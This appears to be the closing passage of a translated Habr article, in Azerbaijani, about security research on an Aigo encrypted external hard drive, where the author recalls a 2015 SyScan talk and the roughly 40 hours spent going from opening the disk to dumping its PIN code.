Aigo üçün nə məsləhət görülə bilər? Şifrələnmiş HDD sürücülərin bir neçə modelini təhlil etdikdən sonra 2015-ci ildə etdim təqdimat bir neçə xarici HDD-nin təhlükəsizlik məsələlərini nəzərdən keçirən və onların necə təkmilləşdirilə biləcəyinə dair tövsiyələr verən SyScan-da. 🙂

Mən bu araşdırmaya iki həftə sonu və bir neçə axşam keçirdim. Ümumilikdə təxminən 40 saat. Əvvəldən (diski açanda) axıra qədər hesablama (pincode dump). Həmin 40 saata bu məqaləni yazmağa sərf etdiyim vaxt daxildir. Bu, çox həyəcanlı bir səyahət idi.

Mənbə: www.habr.com

Добавить комментарий